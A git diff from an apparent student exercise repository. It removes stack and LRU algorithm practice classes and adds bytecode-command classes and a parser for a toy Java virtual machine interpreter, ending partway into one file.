-    public void push() throws Exception {
-        stack.push(1);
-        stack.push(2);
-        stack.push(3);
-        System.out.println(stack);
-    }
-
-    @Test
-    public void pop() throws Exception {
-        stack.pop();
-        System.out.println(stack);
-    }
-
-}
\ No newline at end of file
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/alg/LRUPageFrame.java b/group11/252308879/mini-jvm/src/main/java/com/pan/alg/LRUPageFrame.java
deleted file mode 100644
index d9455d3807..0000000000
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/alg/LRUPageFrame.java
+++ /dev/null
@@ -1,133 +0,0 @@
-package com.pan.alg;
-
-
-/*
- * 用双向链表实现LRU算法
- */
-public class LRUPageFrame {
-	private static class Node{
-		Node prev;
-		Node next;
-		int pageNum = -1;// 物理页
-
-		Node(){
-
-		}
-	}
-
-	private int capacity;
-
-	private Node first;// 链表头
-	private Node last;// 链表尾
-	boolean tag = false;
-
-	public LRUPageFrame(int capacity){
-		this.capacity = capacity;
-
-		for(int i = 0; i < capacity; i++){
-			Node curNode = new Node();
-			if(null == first){
-				last = first = curNode;
-			}else{
-				last.next = curNode;
-				curNode.prev = last;
-				last = last.next;
-			}
-			last.next = null;
-		}
-	}
-	public void printList(){
-		Node curNode = first;
-		while(curNode != null){
-			curNode = curNode.next;
-		}
-	}
-	/*
-	 *  获取缓存中对象
-	 *  @param key
-	 *  @return
-	 */
-	public void access(int pageNum){
-		printList();
-		Node index = findLogicPage(pageNum);
-		modifyPhysicalPage(index,pageNum);
-	}
-
-	/*
-	 * @param pageNum 表示要查询的逻辑页面
-	 * @return 若在物理页中找到要查询的逻辑页面，则返回该物理页节点的引用，否则返回null
-	 */
-	public Node findLogicPage(int pageNum){
-
-		Node index = null;
-		Node curNode = first;
-		while(curNode != null){
-			if(curNode.pageNum == pageNum){
-				index = curNode;
-				tag = true;
-			}
-			curNode = curNode.next;
-		}
-		return index;
-	}
-	/*
-	 * @prama index 代表了 有逻辑页的物理页的节点的引用
-	 */
-	public void modifyPhysicalPage(Node index,int pageNum){
-		push(pageNum,index);
-	}
-	/*
-	 *  @param pageNum 要 push的逻辑页面，  默认栈顶是 first, bottom 栈底  指定了栈的大小
-	 */
-	public void push(int pageNum,Node bottom){
-		Node index = checkWhichListNodeNotUsed();
-		if(index != null){
-			index.pageNum = pageNum;
-			return;
-		}
-
-		Node lastNode;
-		if(null == bottom){
-			lastNode = last;
-		}else{
-			lastNode = bottom;
-		}
-		Node curNode = lastNode.prev;
-		while(curNode != null){
-			lastNode.pageNum = curNode.pageNum;
-			lastNode = curNode;
-			curNode = curNode.prev;
-		}
-		lastNode.pageNum = pageNum;
-		return;
-	}
-
-	/*
-	 * @return 返回物理页中 pageNum 没有被使用的节点的引用(返回栈中最下面的)，如果全部都被使用，则返回 null
-	 */
-	public Node checkWhichListNodeNotUsed(){
-		Node node = first;
-		Node index = null;
-		while(node != null){
-			if(node.pageNum == -1){
-				index = node;
-			}
-			node = node.next;
-		}
-		return index;
-	}
-
-	public String toString(){
-		StringBuffer buffer = new StringBuffer();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);
-
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/alg/StackUtil.java b/group11/252308879/mini-jvm/src/main/java/com/pan/alg/StackUtil.java
deleted file mode 100644
index 01a7f2da52..0000000000
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/alg/StackUtil.java
+++ /dev/null
@@ -1,141 +0,0 @@
-package com.pan.alg;
-
-
-import java.util.Stack;
-
-/**
- * Created by QiPan on 2017/4/12.
- */
-public class StackUtil {
-
-    public static void bad_reverse(Stack<Integer> s) {
-        if(s == null || s.isEmpty()){
-            return;
-        }
-        Stack<Integer> tmpStack = new Stack<>();
-        while(!s.isEmpty()){
-            tmpStack.push(s.pop());
-        }
-
-        s = tmpStack;
-
-    }
-
-    /**
-     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     */
-    public static void reverse(Stack<Integer> s) {
-        if(s == null || s.isEmpty()){
-            return;
-        }
-        Integer top = s.pop();
-        reverse(s);
-        addToBottom(s,top);
-
-
-    }
-    public static void addToBottom(Stack<Integer> s,  Integer value){
-        if(s.isEmpty()){
-            s.push(value);
-        } else{
-            Integer top = s.pop();
-            addToBottom(s,value);
-            s.push(top);
-        }
-
-    }
-    /**
-     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     *
-     * @param o
-     */
-    public static void remove(Stack s,Object o) {
-        if(s == null || s.isEmpty()){
-            return;
-        }
-        Stack tmpStack = new Stack();
-
-        while(!s.isEmpty()){
-            Object value = s.pop();
-            if(!value.equals(o)){
-                tmpStack.push(value);
-            }
-        }
-
-        while(!tmpStack.isEmpty()){
-            s.push(tmpStack.pop());
-        }
-    }
-
-    /**
-     * 从栈顶取得len个元素, 原来的栈中元素保持不变
-     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-     * @param len
-     * @return
-     */
-    public static Object[] getTop(Stack s,int len) {
-
-        if(s == null || s.isEmpty() || s.size()<len || len <=0 ){
-            return null;
-        }
-
-        Stack tmpStack = new Stack();
-        int i = 0;
-        Object[] result = new Object[len];
-        while(!s.isEmpty()){
-            Object value = s.pop();
-            tmpStack.push(value);
-            result[i++] = value;
-            if(i == len){
-                break;
-            }
-        }
-
-        return result;
-    }
-    /**
-     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-     * 使用堆栈检查字符串s中的括号是不是成对出现的。
-     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-     * @param s
-     * @return
-     */
-    public static boolean isValidPairs(String s){
-
-        Stack<Character> stack = new Stack<>();
-        for(int i=0;i<s.length();i++){
-            char c = s.charAt(i);
-
-            if(c == '(' || c =='[' || c == '{'){
-
-                stack.push(c);
-
-            } else if( c == ')'){
-
-                char topChar = stack.pop();
-                if(topChar != '('){
-                    return false;
-                }
-
-            } else if( c == ']'){
-
-                char topChar = stack.pop();
-                if(topChar != '['){
-                    return false;
-                }
-
-            } else if( c == '}'){
-
-                char topChar = stack.pop();
-                if(topChar != '{'){
-                    return false;
-                }
-
-            }
-        }
-        return stack.size() == 0;
-    }
-
-}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/attr/CodeAttr.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/attr/CodeAttr.java
index 80a05a9ac0..45bd5d6b7d 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/attr/CodeAttr.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/attr/CodeAttr.java
@@ -1,6 +1,7 @@
 package com.pan.jvm.attr;
 
 import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.cmd.ByteCodeCommand;
 import com.pan.jvm.loader.ByteCodeIterator;
 
 
@@ -13,10 +14,10 @@ public String getCode() {
 		return code;
 	}
 
-	//private ByteCodeCommand[] cmds ;
-	//public ByteCodeCommand[] getCmds() {
-	//	return cmds;
-	//}
+	private ByteCodeCommand[] cmds ;
+	public ByteCodeCommand[] getCmds() {
+		return cmds;
+	}
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/clz/ClassFile.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/clz/ClassFile.java
index e632888d89..4651e49075 100644
--- a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/clz/ClassFile.java
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/clz/ClassFile.java
@@ -76,13 +76,32 @@ public void print(){
 		System.out.println("Super Class Name:"+ getSuperClassName());
 	}
 
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+
+	public Method getMethod(String methodName, String paramAndReturnType){
+
+		for(Method m :methods){
+
+			int nameIndex = m.getNameIndex();
+			int descriptionIndex = m.getDescriptorIndex();
+
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	public Method getMainMethod(){
+		return getMethod("main","([Ljava/lang/String;)V");
+	}
 }
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/BiPushCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..e33968dbae
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,32 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ConstantInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.Heap;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.StackFrame;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString() {
+	
+		return this.getOffset()+":"+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	public void execute(StackFrame frame,ExecutionResult result){
+		int value = this.getOperand();
+		JavaObject jo = Heap.getInstance().newInt(value);
+		frame.getOprandStack().push(jo);
+		
+	}
+	
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/ByteCodeCommand.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..8fba93c22a
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,152 @@
+package com.pan.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ConstantInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.StackFrame;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	public abstract void execute(StackFrame frame,ExecutionResult result);
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/CommandParser.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..a410ab2e85
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/CommandParser.java
@@ -0,0 +1,129 @@
+package com.pan.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.pan.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
+			throw new RuntimeException("the orignal code is not correct");
+
+		}
+
+		codes = codes.toUpperCase();
+
+		CommandIterator iter = new CommandIterator(codes);
+		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+		while (iter.hasNext()) {
+			String opCode = iter.next2CharAsString();
+
+			if (ByteCodeCommand.new_object.equals(opCode)) {
+				NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
+
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.invokespecial.equals(opCode)) {
+				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				// System.out.println( cmd.toString(clzFile.getConstPool()));
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.invokevirtual.equals(opCode)) {
+				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.getfield.equals(opCode)) {
+				GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.getstatic.equals(opCode)) {
+				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.putfield.equals(opCode)) {
+				PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
+				cmd.setOprand1(iter.next2CharAsInt());
+				cmd.setOprand2(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.ldc.equals(opCode)) {
+				LdcCmd cmd = new LdcCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.bipush.equals(opCode)) {
+				BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
+				cmd.setOperand(iter.next2CharAsInt());
+				cmds.add(cmd);
+			} else if (ByteCodeCommand.dup.equals(opCode) 
+					|| ByteCodeCommand.aload_0.equals(opCode) 
+					|| ByteCodeCommand.aload_1.equals(opCode) 
+					|| ByteCodeCommand.aload_2.equals(opCode)
+					|| ByteCodeCommand.iload_1.equals(opCode) 
+					|| ByteCodeCommand.iload_2.equals(opCode) 
+					|| ByteCodeCommand.iload_3.equals(opCode)
+					|| ByteCodeCommand.fload_3.equals(opCode) 
+					|| ByteCodeCommand.voidreturn.equals(opCode) 
+					|| ByteCodeCommand.astore_1.equals(opCode)) {
+
+				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
+				cmds.add(cmd);
+			} else {
+				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
+			}
+
+		}
+
+		calcuateOffset(cmds);
+
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		return result;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetFieldCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..a54a2f5fb8
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,38 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.FieldRefInfo;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.StackFrame;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsField();
+	}
+
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		FieldRefInfo fieldRef = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String fieldName = fieldRef.getFieldName();
+		JavaObject jo = frame.getOprandStack().pop();
+		JavaObject fieldValue = jo.getFieldValue(fieldName);
+		
+		frame.getOprandStack().push(fieldValue);
+		
+		
+		
+	}
+	
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetStaticFieldCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..0e44f1d8d5
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,42 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ClassInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.FieldRefInfo;
+import com.pan.jvm.constant.UTF8Info;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.Heap;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.StackFrame;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsField();
+	}
+	
+	@Override	
+	public void execute(StackFrame frame,ExecutionResult result) {
+		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(this.getIndex());
+		String className = info.getClassName();
+		String fieldName = info.getFieldName();
+		String fieldType = info.getFieldType();
+		
+		if("java/lang/System".equals(className) 
+				&& "out".equals(fieldName) 
+				&& "Ljava/io/PrintStream;".equals(fieldType)){
+			JavaObject jo = Heap.getInstance().newObject(className);
+			frame.getOprandStack().push(jo);
+		}
+		//TODO 处理非System.out的情况
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeSpecialCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..7cb42656eb
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,47 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.MethodRefInfo;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.MethodArea;
+import com.pan.jvm.engine.StackFrame;
+import com.pan.jvm.method.Method;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsMethod();
+	}
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {		
+		
+				
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		// 我们不用实现jang.lang.Object 的init方法
+		if(methodRefInfo.getClassName().equals("java/lang/Object") 
+				&& methodRefInfo.getMethodName().equals("<init>")){
+			return ;
+			
+		}
+		Method nextMethod = MethodArea.getInstance().getMethod(methodRefInfo);
+		
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		result.setNextMethod(nextMethod);
+		
+		
+		
+	}
+	
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeVirtualCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..ff43748c0d
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,86 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.MethodRefInfo;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.MethodArea;
+import com.pan.jvm.engine.StackFrame;
+import com.pan.jvm.method.Method;
+
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsMethod();
+	}
+
+	private boolean isSystemOutPrintlnMethod(String className, String methodName){
+		return "java/io/PrintStream".equals(className) 
+				&& "println".equals(methodName);
+	}
+	@Override
+	public void execute(StackFrame frame,ExecutionResult result) {
+		
+		//先得到对该方法的描述
+		MethodRefInfo methodRefInfo = (MethodRefInfo)this.getConstantInfo(this.getIndex());
+		
+		String className = methodRefInfo.getClassName();
+		String methodName = methodRefInfo.getMethodName();
+		
+		// 我们没有实现System.out.println方法，  所以也不用建立新的栈帧， 直接调用Java的方法， 打印出来即可。 
+		if(isSystemOutPrintlnMethod(className,methodName)){
+			JavaObject jo = (JavaObject)frame.getOprandStack().pop();
+			String value = jo.toString();
+			System.err.println("-------------------"+value+"----------------");
+			
+			// 这里就是那个out对象， 因为是个假的，直接pop出来
+			frame.getOprandStack().pop();
+			
+			return;
+		}
+		
+		//注意：多态， 这才是真正的对象, 先从该对象的class 中去找对应的方法，找不到的话再去找父类的方法
+		JavaObject jo = frame.getOprandStack().peek();
+		
+		MethodArea ma = MethodArea.getInstance();
+		
+		Method m = null;
+		
+		String currentClassName = jo.getClassName();
+		
+		while(currentClassName != null){
+			
+			ClassFile currentClassFile = ma.findClassFile(currentClassName);
+			
+			m = currentClassFile.getMethod(methodRefInfo.getMethodName(), 
+					methodRefInfo.getParamAndReturnType());
+			if(m != null){
+				
+				break;
+				
+			} else{
+				//查找父类
+				currentClassName = currentClassFile.getSuperClassName();
+			}
+		}	
+		
+		if(m == null){
+			throw new RuntimeException("Can't find method for :" + methodRefInfo.toString());
+		}
+		
+		
+		result.setNextAction(ExecutionResult.PAUSE_AND_RUN_NEW_FRAME);
+		
+		result.setNextMethod(m);
+	}
+	
+
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/LdcCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..a42b80a9b3
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/LdcCmd.java
@@ -0,0 +1,50 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ConstantInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.constant.StringInfo;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.Heap;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.StackFrame;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString() {
+		
+		ConstantInfo info = getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	public void  execute(StackFrame frame,ExecutionResult result){
+		
+		ConstantPool pool = this.getConstantPool();
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			String value = strInfo.toString();
+			JavaObject jo = Heap.getInstance().newString(value);
+			frame.getOprandStack().push(jo);
+		}
+		else{
+			//TBD 处理其他类型
+			throw new RuntimeException("Only support StringInfo constant");
+		}
+		
+		
+	}
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NewObjectCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..a5621d0f0d
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,39 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ClassInfo;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.Heap;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.StackFrame;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString() {
+		
+		return super.getOperandAsClassInfo();
+	}
+	public void execute(StackFrame frame,ExecutionResult result){
+		
+		int index = this.getIndex();
+		
+		ClassInfo info = (ClassInfo)this.getConstantInfo(index);
+		
+		String clzName = info.getClassName();
+		
+		//在Java堆上创建一个实例
+		JavaObject jo = Heap.getInstance().newObject(clzName);
+		
+		frame.getOprandStack().push(jo);
+		
+		
+		
+	}
+	
+}
diff --git a/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NoOperandCmd.java b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..0605c466bd
--- /dev/null
+++ b/group11/252308879/mini-jvm/src/main/java/com/pan/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,146 @@
+package com.pan.jvm.cmd;
+
+import com.pan.jvm.clz.ClassFile;
+import com.pan.jvm.constant.ConstantPool;
+import com.pan.jvm.engine.ExecutionResult;
+import com.pan.jvm.engine.Heap;
+import com.pan.jvm.engine.JavaObject;
+import com.pan.jvm.engine.StackFrame;
